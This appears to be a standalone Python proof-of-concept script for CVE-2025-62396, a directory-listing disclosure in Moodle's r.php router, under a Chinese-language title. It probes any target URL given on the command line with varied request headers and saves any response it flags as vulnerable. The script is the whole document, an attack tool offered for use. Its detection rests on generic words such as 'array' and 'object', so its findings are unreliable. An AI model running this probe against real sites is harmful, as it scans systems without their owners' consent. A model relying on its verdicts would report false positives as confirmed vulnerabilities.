CVE-2025-62396 Moodle路由器目录列表信息泄露漏洞

# CVE-2025-62396 Moodle Directory Listing Information Disclosure PoC # Description: Error-handling issue in Moodle router (r.php) exposes internal directory listings import requests import sys def test_cve_2025_62396(target_url): """ Test for CVE-2025-62396: Moodle router directory listing disclosure This PoC demonstrates how specific HTTP headers can trigger error handling that exposes internal directory structures. """ print(f"[*] Testing target: {target_url}") # Target the Moodle router script endpoint = f"{target_url.rstrip('/')}/r.php" # Malformed requests that may trigger error handling headers_list = [ { 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml' }, { 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary', 'X-Requested-With': 'XMLHttpRequest' }, { 'Accept': 'application/json', 'Content-Type': 'text/plain' } ] for i, headers in enumerate(headers_list, 1): print(f"\n[*] Test {i} with headers: {headers}") try: # Send request with malformed headers response = requests.get( endpoint, headers=headers, params={'error': 'test'}, timeout=10, allow_redirects=False ) # Check for directory listing indicators if response.status_code in [200, 500] and any(indicator in response.text.lower() for indicator in [ 'index of', 'directory listing', '<title>index of', 'parent directory', '[tostring]', 'array', 'object' ]): print(f"[!] VULNERABLE! Directory listing may be exposed") print(f"[!] Response length: {len(response.text)} bytes") # Save response for analysis filename = f"response_{i}.txt" with open(filename, 'w', encoding='utf-8') as f: f.write(f"=== Request Headers ===\n") f.write(str(headers) + "\n\n") f.write(f"=== Response Headers ===\n") f.write(str(response.headers) + "\n\n") f.write(f"=== Response Body ===\n") f.write(response.text) print(f"[*] Response saved to {filename}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] No obvious vulnerability indicators found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62396.py <target_url>") print("Example: python cve-2025-62396.py http://moodle.example.com") sys.exit(1) target = sys.argv[1] test_cve_2025_62396(target)